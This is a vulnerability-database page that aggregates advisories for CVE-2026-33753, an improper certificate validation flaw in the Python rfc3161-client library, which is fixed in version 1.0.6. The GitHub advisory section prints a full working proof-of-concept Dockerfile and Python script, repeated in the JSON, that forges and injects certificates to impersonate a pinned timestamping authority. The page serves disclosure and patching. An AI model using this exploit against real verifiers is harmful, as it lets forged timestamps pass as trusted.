Vulnerability-Lookup

CVE-2026-33753 (GCVE-0-2026-33753)

Vulnerability from cvelistv5 – Published: 2026-04-08 14:54 – Updated: 2026-04-08 16:12

Title

Improper Certificate Validation in rfc3161-client

Summary

rfc3161-client is a Python library implementing the Time-Stamp Protocol (TSP) described in RFC 3161. Prior to 1.0.6, an Authorization Bypass vulnerability in rfc3161-client's signature verification allows any attacker to impersonate a trusted TimeStamping Authority (TSA). By exploiting a logic flaw in how the library extracts the leaf certificate from an unordered PKCS#7 bag of certificates, an attacker can append a spoofed certificate matching the target common_name and Extended Key Usage (EKU) requirements. This tricks the library into verifying these authorization rules against the forged certificate while validating the cryptographic signature against an actual trusted TSA (such as FreeTSA), thereby bypassing the intended TSA authorization pinning entirely. This vulnerability is fixed in 1.0.6.

Severity ?

6.2 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

CWE

CWE-295 - Improper Certificate Validation

Assigner

GitHub_M

References

URL

	Vendor	Product	Version
	trailofbits	rfc3161-client	Affected: < 1.0.6

GHSA-3XXC-PWJ6-JGRJ

Vulnerability from github – Published: 2026-04-08 15:00 – Updated: 2026-04-08 19:26

Summary

rfc3161-client Has Improper Certificate Validation

Details

Summary

An Authorization Bypass vulnerability in rfc3161-client's signature verification allows any attacker to impersonate a trusted TimeStamping Authority (TSA). By exploiting a logic flaw in how the library extracts the leaf certificate from an unordered PKCS#7 bag of certificates, an attacker can append a spoofed certificate matching the target common_name and Extended Key Usage (EKU) requirements. This tricks the library into verifying these authorization rules against the forged certificate while validating the cryptographic signature against an actual trusted TSA (such as FreeTSA), thereby bypassing the intended TSA authorization pinning entirely.

Details

The root cause lies in rfc3161_client.verify.Verifier._verify_leaf_certs(). The library attempts to locate the leaf certificate within the parsed TimeStampResponse PKCS#7 SignedData bag using a naive algorithm:

leaf_certificate_found = None
for cert in certs:
    if not [c for c in certs if c.issuer == cert.subject]:
        leaf_certificate_found = cert
        break

This loop erroneously assumes that the valid leaf certificate is simply the first certificate in the bag that does not issue any other certificate. It does not rely on checking the ESSCertID or ESSCertIDv2 cryptographic bindings specified in RFC 3161 (which binds the signature securely to the exact signer certificate).

An attacker can exploit this by:

Acquiring a legitimate, authentic TimeStampResponse from any widely trusted public TSA (e.g., FreeTSA) that chains up to a Root CA trusted by the client.
Generating a self-signed spoofed "proxy" certificate A with the exact Subject (e.g., CN=Intended Corporate TSA) and ExtendedKeyUsage (id-kp-timeStamping) required by the client's VerifierBuilder.
Generating a dummy certificate D issued by the actual FreeTSA leaf certificate.
Appending both A and D to the certificates list in the PKCS#7 SignedData of the TimeStampResponse.

When _verify_leaf_certs() executes, the dummy certificate D disqualifies the authentic FreeTSA leaf from being selected (because FreeTSA now technically "issues" D within the bag). The loop then evaluates the spoofed certificate A, realizes it issues nothing else in the bag, and selects it as leaf_certificate_found.

The library then processes the common_name and EKU checks exactly against A. Since A was explicitly forged to pass these checks, verification succeeds. Finally, the OpenSSL pkcs7_verify backend validates the actual cryptographic signature using the authentic FreeTSA certificate and trusted roots (ignoring the injected certs). The application wrongly trusts that the timestamp was granted by the pinned TSA.

PoC

The environment simulation and the PoC script have been included in the poc.py and Dockerfile artifacts:

Dockerfile (poc/Dockerfile):

FROM python:3.11-slim
RUN apt-get update && apt-get install -y build-essential libssl-dev libffi-dev python3-dev cargo rustc pkg-config git && rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY . /app/rfc3161-client
RUN pip install cryptography requests asn1crypto
WORKDIR /app/rfc3161-client
RUN pip install .
COPY poc/poc.py /app/poc.py
WORKDIR /app
CMD ["python", "poc.py"]

The attack flow locally demonstrated in poc/poc.py:

import base64
import requests
from rfc3161_client import TimestampRequestBuilder, decode_timestamp_response, HashAlgorithm
from rfc3161_client.verify import VerifierBuilder
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
import datetime
from asn1crypto import cms, tsp

def main():
    print("[*] Generating TimeStampRequest...")
    req_builder = TimestampRequestBuilder(
        data=b"hello world",
        hash_algorithm=HashAlgorithm.SHA256,
        cert_req=True
    )
    req = req_builder.build()

    print("[*] Contacting FreeTSA to fetch a genuine digitally signed timestamp...")
    resp = requests.post(
        "https://freetsa.org/tsr",
        data=req.as_bytes(),
        headers={"Content-Type": "application/timestamp-query"}
    )
    if resp.status_code != 200:
        print("[-] Failed to get TSA response. Is the network up?")
        return

    tsa_resp_bytes = resp.content

    print("[*] Creating forged certificate (Common Name: Spoofed TSA, EKU: timeStamping)...")
    private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COMMON_NAME, "Spoofed TSA"),
    ])

    # We create a self-signed spoofed certificate that meets all Python verification criteria
    cert = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        issuer
    ).public_key(
        private_key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.datetime.utcnow() - datetime.timedelta(days=1)
    ).not_valid_after(
        datetime.datetime.utcnow() + datetime.timedelta(days=1)
    ).add_extension(
        x509.ExtendedKeyUsage([ExtendedKeyUsageOID.TIME_STAMPING]),
        critical=True,
    ).sign(private_key, hashes.SHA256())

    fake_cert_der = cert.public_bytes(serialization.Encoding.DER)

    print("[*] Parsing the authentic PKCS#7 SignedData bag of certificates...")
    tinfo = tsp.TimeStampResp.load(tsa_resp_bytes)
    status = tinfo['status']['status'].native
    if status != 'granted':
        print(f"[-] Status not granted: {status}")
        return

    content_info = tinfo['time_stamp_token']
    assert content_info['content_type'].native == 'signed_data'
    signed_data = content_info['content']

    certs = signed_data['certificates']

    from asn1crypto.x509 import Certificate
    fake_cert_asn1 = Certificate.load(fake_cert_der)

    real_leaf_asn1 = None
    for c in certs:
        c_subject = c.chosen['tbs_certificate']['subject']
        issues_something = False
        for oc in certs:
            if c == oc: continue
            oc_issuer = oc.chosen['tbs_certificate']['issuer']
            if c_subject == oc_issuer:
                issues_something = True
                break
        if not issues_something:
            real_leaf_asn1 = c
            break

    if real_leaf_asn1:
        print("[*] Found the genuine TS leaf certificate. Creating a 'dummy node' to disqualify it from the library's naive leaf discovery...")
        real_leaf_crypto = x509.load_der_x509_certificate(real_leaf_asn1.dump())
        dummy_priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
        dummy_cert = x509.CertificateBuilder().subject_name(
            x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Dummy Entity")])
        ).issuer_name(
            real_leaf_crypto.subject
        ).public_key(
            dummy_priv.public_key()
        ).serial_number(
            x509.random_serial_number()
        ).not_valid_before(
            datetime.datetime.utcnow() - datetime.timedelta(days=1)
        ).not_valid_after(
            datetime.datetime.utcnow() + datetime.timedelta(days=1)
        ).sign(dummy_priv, hashes.SHA256()) 

        dummy_cert_asn1 = Certificate.load(dummy_cert.public_bytes(serialization.Encoding.DER))
        certs.append(dummy_cert_asn1)

    print("[*] Injecting the malicious spoofed proxy certificate into the response bag...")
    certs.append(fake_cert_asn1)

    malicious_resp_bytes = tinfo.dump()

    print("[*] Downloading FreeTSA Root Certificate Trust Anchor...")
    root_resp = requests.get("https://freetsa.org/files/cacert.pem")
    root_cert = x509.load_pem_x509_certificate(root_resp.content)
    # We must also download TSA.crt which acts as an intermediate for FreeTSA
    tsa_resp_cert = requests.get("https://freetsa.org/files/tsa.crt")
    tsa_cert_obj = x509.load_pem_x509_certificate(tsa_resp_cert.content)

    print("[*] Initializing Verifier strictly pinning Common Name to 'Spoofed TSA'...")
    tsa_resp_obj = decode_timestamp_response(malicious_resp_bytes)

    verifier = VerifierBuilder(
        common_name="Spoofed TSA",
        roots=[root_cert],
        intermediates=[tsa_cert_obj],
    ).build()

    print("[*] Attempting Verification...")
    try:
        verifier.verify_message(tsa_resp_obj, b"hello world")
        print("\n\033[92m[+] VULNERABILITY CONFIRMED: Authorization Bypass successful! The Verifier accepted the authentic signature under the forged 'Spoofed TSA' name due to Trust Boundary Confusion.\033[0m\n")
    except Exception as e:
        print("\n\033[91m[-] Verification failed:\033[0m", e)

if __name__ == '__main__':
    main()

Requests a timestamp from https://freetsa.org/tsr.
Generates a fake cert with common_name="Spoofed TSA" and ExtendedKeyUsage=TIME_STAMPING.
Parses the authentic TS response, injects a dummy cert issued by FreeTSA's leaf.
Injects the fake cert into the bag.
Invokes decode_timestamp_response() on the malicious bytes.
Runs VerifierBuilder(common_name="Spoofed TSA", ...).verify_message(malicious_resp, msg).
Observes a successful verification bypassing the common_name constraint.

Impact

Vulnerability Type: Authorization Bypass / Improper Certificate Validation / Trust Boundary Confusion Impact: High. Applications relying on rfc3161-client to guarantee the origin of a timestamp via tsa_certificate or common_name pinning are completely exposed to impersonation. An attacker can forge the identity of the TSA as long as they hold any valid timestamp from a CA trusted by the Verifier.

Severity ?

6.2 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Show details on source website

JSON

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "rfc3161-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33753"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T15:00:23Z",
    "nvd_published_at": "2026-04-08T16:16:23Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAn Authorization Bypass vulnerability in `rfc3161-client`\u0027s signature verification allows any attacker to impersonate a trusted TimeStamping Authority (TSA). By exploiting a logic flaw in how the library extracts the leaf certificate from an unordered PKCS#7 bag of certificates, an attacker can append a spoofed certificate matching the target `common_name` and Extended Key Usage (EKU) requirements. This tricks the library into verifying these authorization rules against the forged certificate while validating the cryptographic signature against an actual trusted TSA (such as FreeTSA), thereby bypassing the intended TSA authorization pinning entirely.\n\n### Details\n\nThe root cause lies in `rfc3161_client.verify.Verifier._verify_leaf_certs()`. The library attempts to locate the leaf certificate within the parsed TimeStampResponse PKCS#7 `SignedData` bag using a naive algorithm:\n\n```python\nleaf_certificate_found = None\nfor cert in certs:\n    if not [c for c in certs if c.issuer == cert.subject]:\n        leaf_certificate_found = cert\n        break\n```\n\nThis loop erroneously assumes that the valid leaf certificate is simply the first certificate in the bag that does not issue any other certificate. It does **not** rely on checking the `ESSCertID` or `ESSCertIDv2` cryptographic bindings specified in RFC 3161 (which binds the signature securely to the exact signer certificate).\n\nAn attacker can exploit this by:\n\n1. Acquiring a legitimate, authentic TimeStampResponse from *any* widely trusted public TSA (e.g., FreeTSA) that chains up to a Root CA trusted by the client.\n2. Generating a self-signed spoofed \"proxy\" certificate `A` with the exact `Subject` (e.g., `CN=Intended Corporate TSA`) and `ExtendedKeyUsage` (`id-kp-timeStamping`) required by the client\u0027s `VerifierBuilder`.\n3. Generating a dummy certificate `D` issued by the *actual* FreeTSA leaf certificate.\n4. Appending both `A` and `D` to the `certificates` list in the PKCS#7 `SignedData` of the TimeStampResponse.\n\nWhen `_verify_leaf_certs()` executes, the dummy certificate `D` disqualifies the authentic FreeTSA leaf from being selected (because FreeTSA now technically \"issues\" `D` within the bag). The loop then evaluates the spoofed certificate `A`, realizes it issues nothing else in the bag, and selects it as `leaf_certificate_found`.\n\nThe library then processes the `common_name` and EKU checks exactly against `A`. Since `A` was explicitly forged to pass these checks, verification succeeds. Finally, the OpenSSL `pkcs7_verify` backend validates the actual cryptographic signature using the authentic FreeTSA certificate and trusted roots (ignoring the injected certs). The application wrongly trusts that the timestamp was granted by the pinned TSA.\n\n### PoC\n\nThe environment simulation and the PoC script have been included in the `poc.py` and `Dockerfile` artifacts:\n\n**Dockerfile (`poc/Dockerfile`)**:\n\n```dockerfile\nFROM python:3.11-slim\nRUN apt-get update \u0026\u0026 apt-get install -y build-essential libssl-dev libffi-dev python3-dev cargo rustc pkg-config git \u0026\u0026 rm -rf /var/lib/apt/lists/*\nWORKDIR /app\nCOPY . /app/rfc3161-client\nRUN pip install cryptography requests asn1crypto\nWORKDIR /app/rfc3161-client\nRUN pip install .\nCOPY poc/poc.py /app/poc.py\nWORKDIR /app\nCMD [\"python\", \"poc.py\"]\n```\n\nThe attack flow locally demonstrated in `poc/poc.py`:\n\n``` python\nimport base64\nimport requests\nfrom rfc3161_client import TimestampRequestBuilder, decode_timestamp_response, HashAlgorithm\nfrom rfc3161_client.verify import VerifierBuilder\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.x509.oid import NameOID, ExtendedKeyUsageOID\nimport datetime\nfrom asn1crypto import cms, tsp\n\ndef main():\n    print(\"[*] Generating TimeStampRequest...\")\n    req_builder = TimestampRequestBuilder(\n        data=b\"hello world\",\n        hash_algorithm=HashAlgorithm.SHA256,\n        cert_req=True\n    )\n    req = req_builder.build()\n    \n    print(\"[*] Contacting FreeTSA to fetch a genuine digitally signed timestamp...\")\n    resp = requests.post(\n        \"https://freetsa.org/tsr\",\n        data=req.as_bytes(),\n        headers={\"Content-Type\": \"application/timestamp-query\"}\n    )\n    if resp.status_code != 200:\n        print(\"[-] Failed to get TSA response. Is the network up?\")\n        return\n        \n    tsa_resp_bytes = resp.content\n    \n    print(\"[*] Creating forged certificate (Common Name: Spoofed TSA, EKU: timeStamping)...\")\n    private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)\n    subject = issuer = x509.Name([\n        x509.NameAttribute(NameOID.COMMON_NAME, \"Spoofed TSA\"),\n    ])\n    \n    # We create a self-signed spoofed certificate that meets all Python verification criteria\n    cert = x509.CertificateBuilder().subject_name(\n        subject\n    ).issuer_name(\n        issuer\n    ).public_key(\n        private_key.public_key()\n    ).serial_number(\n        x509.random_serial_number()\n    ).not_valid_before(\n        datetime.datetime.utcnow() - datetime.timedelta(days=1)\n    ).not_valid_after(\n        datetime.datetime.utcnow() + datetime.timedelta(days=1)\n    ).add_extension(\n        x509.ExtendedKeyUsage([ExtendedKeyUsageOID.TIME_STAMPING]),\n        critical=True,\n    ).sign(private_key, hashes.SHA256())\n    \n    fake_cert_der = cert.public_bytes(serialization.Encoding.DER)\n    \n    print(\"[*] Parsing the authentic PKCS#7 SignedData bag of certificates...\")\n    tinfo = tsp.TimeStampResp.load(tsa_resp_bytes)\n    status = tinfo[\u0027status\u0027][\u0027status\u0027].native\n    if status != \u0027granted\u0027:\n        print(f\"[-] Status not granted: {status}\")\n        return\n        \n    content_info = tinfo[\u0027time_stamp_token\u0027]\n    assert content_info[\u0027content_type\u0027].native == \u0027signed_data\u0027\n    signed_data = content_info[\u0027content\u0027]\n    \n    certs = signed_data[\u0027certificates\u0027]\n    \n    from asn1crypto.x509 import Certificate\n    fake_cert_asn1 = Certificate.load(fake_cert_der)\n    \n    real_leaf_asn1 = None\n    for c in certs:\n        c_subject = c.chosen[\u0027tbs_certificate\u0027][\u0027subject\u0027]\n        issues_something = False\n        for oc in certs:\n            if c == oc: continue\n            oc_issuer = oc.chosen[\u0027tbs_certificate\u0027][\u0027issuer\u0027]\n            if c_subject == oc_issuer:\n                issues_something = True\n                break\n        if not issues_something:\n            real_leaf_asn1 = c\n            break\n            \n    if real_leaf_asn1:\n        print(\"[*] Found the genuine TS leaf certificate. Creating a \u0027dummy node\u0027 to disqualify it from the library\u0027s naive leaf discovery...\")\n        real_leaf_crypto = x509.load_der_x509_certificate(real_leaf_asn1.dump())\n        dummy_priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)\n        dummy_cert = x509.CertificateBuilder().subject_name(\n            x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Dummy Entity\")])\n        ).issuer_name(\n            real_leaf_crypto.subject\n        ).public_key(\n            dummy_priv.public_key()\n        ).serial_number(\n            x509.random_serial_number()\n        ).not_valid_before(\n            datetime.datetime.utcnow() - datetime.timedelta(days=1)\n        ).not_valid_after(\n            datetime.datetime.utcnow() + datetime.timedelta(days=1)\n        ).sign(dummy_priv, hashes.SHA256()) \n        \n        dummy_cert_asn1 = Certificate.load(dummy_cert.public_bytes(serialization.Encoding.DER))\n        certs.append(dummy_cert_asn1)\n\n    print(\"[*] Injecting the malicious spoofed proxy certificate into the response bag...\")\n    certs.append(fake_cert_asn1)\n    \n    malicious_resp_bytes = tinfo.dump()\n    \n    print(\"[*] Downloading FreeTSA Root Certificate Trust Anchor...\")\n    root_resp = requests.get(\"https://freetsa.org/files/cacert.pem\")\n    root_cert = x509.load_pem_x509_certificate(root_resp.content)\n    # We must also download TSA.crt which acts as an intermediate for FreeTSA\n    tsa_resp_cert = requests.get(\"https://freetsa.org/files/tsa.crt\")\n    tsa_cert_obj = x509.load_pem_x509_certificate(tsa_resp_cert.content)\n    \n    print(\"[*] Initializing Verifier strictly pinning Common Name to \u0027Spoofed TSA\u0027...\")\n    tsa_resp_obj = decode_timestamp_response(malicious_resp_bytes)\n    \n    verifier = VerifierBuilder(\n        common_name=\"Spoofed TSA\",\n        roots=[root_cert],\n        intermediates=[tsa_cert_obj],\n    ).build()\n\n    print(\"[*] Attempting Verification...\")\n    try:\n        verifier.verify_message(tsa_resp_obj, b\"hello world\")\n        print(\"\\n\\033[92m[+] VULNERABILITY CONFIRMED: Authorization Bypass successful! The Verifier accepted the authentic signature under the forged \u0027Spoofed TSA\u0027 name due to Trust Boundary Confusion.\\033[0m\\n\")\n    except Exception as e:\n        print(\"\\n\\033[91m[-] Verification failed:\\033[0m\", e)\n\nif __name__ == \u0027__main__\u0027:\n    main()\n```\n\n1. Requests a timestamp from `https://freetsa.org/tsr`.\n2. Generates a fake cert with `common_name=\"Spoofed TSA\"` and `ExtendedKeyUsage=TIME_STAMPING`.\n3. Parses the authentic TS response, injects a dummy cert issued by FreeTSA\u0027s leaf.\n4. Injects the fake cert into the bag.\n5. Invokes `decode_timestamp_response()` on the malicious bytes.\n6. Runs `VerifierBuilder(common_name=\"Spoofed TSA\", ...).verify_message(malicious_resp, msg)`.\n7. Observes a successful verification bypassing the `common_name` constraint.\n\n### Impact\n\n**Vulnerability Type:** Authorization Bypass / Improper Certificate Validation / Trust Boundary Confusion\n**Impact:** High. Applications relying on `rfc3161-client` to guarantee the origin of a timestamp via `tsa_certificate` or `common_name` pinning are completely exposed to impersonation. An attacker can forge the identity of the TSA as long as they hold *any* valid timestamp from a CA trusted by the Verifier.",
  "id": "GHSA-3xxc-pwj6-jgrj",
  "modified": "2026-04-08T19:26:29Z",
  "published": "2026-04-08T15:00:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/rfc3161-client/security/advisories/GHSA-3xxc-pwj6-jgrj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33753"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/rfc3161-client/commit/4f7d372297b4fba7b0119e9f954e4495ec0592c0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/trailofbits/rfc3161-client"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/rfc3161-client/releases/tag/v1.0.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "rfc3161-client Has Improper Certificate Validation"
}

OPENSUSE-SU-2026:10546-1

Vulnerability from csaf_opensuse - Published: 2026-04-14 00:00 - Updated: 2026-04-14 00:00

Summary

python311-rfc3161-client-1.0.6-1.1 on GA media

Severity

Moderate

Notes

Title of the patch: python311-rfc3161-client-1.0.6-1.1 on GA media

Description of the patch: These are all security issues fixed in the python311-rfc3161-client-1.0.6-1.1 package on the GA media of openSUSE Tumbleweed.

Patchnames: openSUSE-Tumbleweed-2026-10546

CVE-2026-33753

Vendor Fix To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

References

URL

Category

	https://www.suse.com/support/security/rating/	external
	https://ftp.suse.com/pub/projects/security/csaf/o…	self
	https://www.suse.com/security/cve/CVE-2026-33753/	self
	https://www.suse.com/security/cve/CVE-2026-33753	external
	https://bugzilla.suse.com/1261804	external

JSON

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{
  "document": {
    "aggregate_severity": {
      "namespace": "https://www.suse.com/support/security/rating/",
      "text": "moderate"
    },
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Copyright 2024 SUSE LLC. All rights reserved.",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en",
    "notes": [
      {
        "category": "summary",
        "text": "python311-rfc3161-client-1.0.6-1.1 on GA media",
        "title": "Title of the patch"
      },
      {
        "category": "description",
        "text": "These are all security issues fixed in the python311-rfc3161-client-1.0.6-1.1 package on the GA media of openSUSE Tumbleweed.",
        "title": "Description of the patch"
      },
      {
        "category": "details",
        "text": "openSUSE-Tumbleweed-2026-10546",
        "title": "Patchnames"
      },
      {
        "category": "legal_disclaimer",
        "text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
        "title": "Terms of use"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "https://www.suse.com/support/security/contact/",
      "name": "SUSE Product Security Team",
      "namespace": "https://www.suse.com/"
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}

FKIE_CVE-2026-33753

Vulnerability from fkie_nvd - Published: 2026-04-08 16:16 - Updated: 2026-04-08 21:26

Severity ?

6.2 (Medium) - CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/trailofbits/rfc3161-client/security/advisories/GHSA-3xxc-pwj6-jgrj
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/trailofbits/rfc3161-client/security/advisories/GHSA-3xxc-pwj6-jgrj

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "rfc3161-client is a Python library implementing the Time-Stamp Protocol (TSP) described in RFC 3161. Prior to 1.0.6, an Authorization Bypass vulnerability in rfc3161-client\u0027s signature verification allows any attacker to impersonate a trusted TimeStamping Authority (TSA). By exploiting a logic flaw in how the library extracts the leaf certificate from an unordered PKCS#7 bag of certificates, an attacker can append a spoofed certificate matching the target common_name and Extended Key Usage (EKU) requirements. This tricks the library into verifying these authorization rules against the forged certificate while validating the cryptographic signature against an actual trusted TSA (such as FreeTSA), thereby bypassing the intended TSA authorization pinning entirely. This vulnerability is fixed in 1.0.6."
    }
  ],
  "id": "CVE-2026-33753",
  "lastModified": "2026-04-08T21:26:13.410",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "NONE",
          "baseScore": 6.2,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.5,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-04-08T16:16:23.670",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/trailofbits/rfc3161-client/security/advisories/GHSA-3xxc-pwj6-jgrj"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/trailofbits/rfc3161-client/security/advisories/GHSA-3xxc-pwj6-jgrj"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Undergoing Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-295"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-33753 (GCVE-0-2026-33753)

GHSA-3XXC-PWJ6-JGRJ

Summary

Details

PoC

Impact

OPENSUSE-SU-2026:10546-1

FKIE_CVE-2026-33753

Tags

Sightings

Nomenclature